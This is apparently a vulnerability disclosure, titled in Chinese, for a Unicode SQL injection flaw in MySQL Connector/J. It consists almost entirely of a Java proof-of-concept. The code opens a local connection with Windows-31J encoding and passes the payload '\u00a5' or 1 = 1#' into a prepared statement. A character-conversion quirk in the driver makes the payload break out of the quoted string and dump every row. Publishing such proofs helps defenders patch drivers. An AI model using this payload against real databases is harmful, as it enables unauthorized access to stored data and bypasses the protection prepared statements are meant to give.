MySQL Connector/J Unicode字符串SQL注入漏洞

import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; public class InjectionTest { public static void main(String[] args) { try { Class.forName("com.mysql.jdbc.Driver"); Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/scott?characterEncoding=Windows-31J", "scott", "tiger"); PreparedStatement pstmt = conn.prepareStatement("select empno from emp where ename = ?"); pstmt.setString(1, "\u00a5' or 1 = 1#"); ResultSet rs = pstmt.executeQuery(); while (rs.next()) { System.out.println(rs.getInt(1)); } rs.close(); pstmt.close(); conn.close(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (SQLException e) { e.printStackTrace(); } } }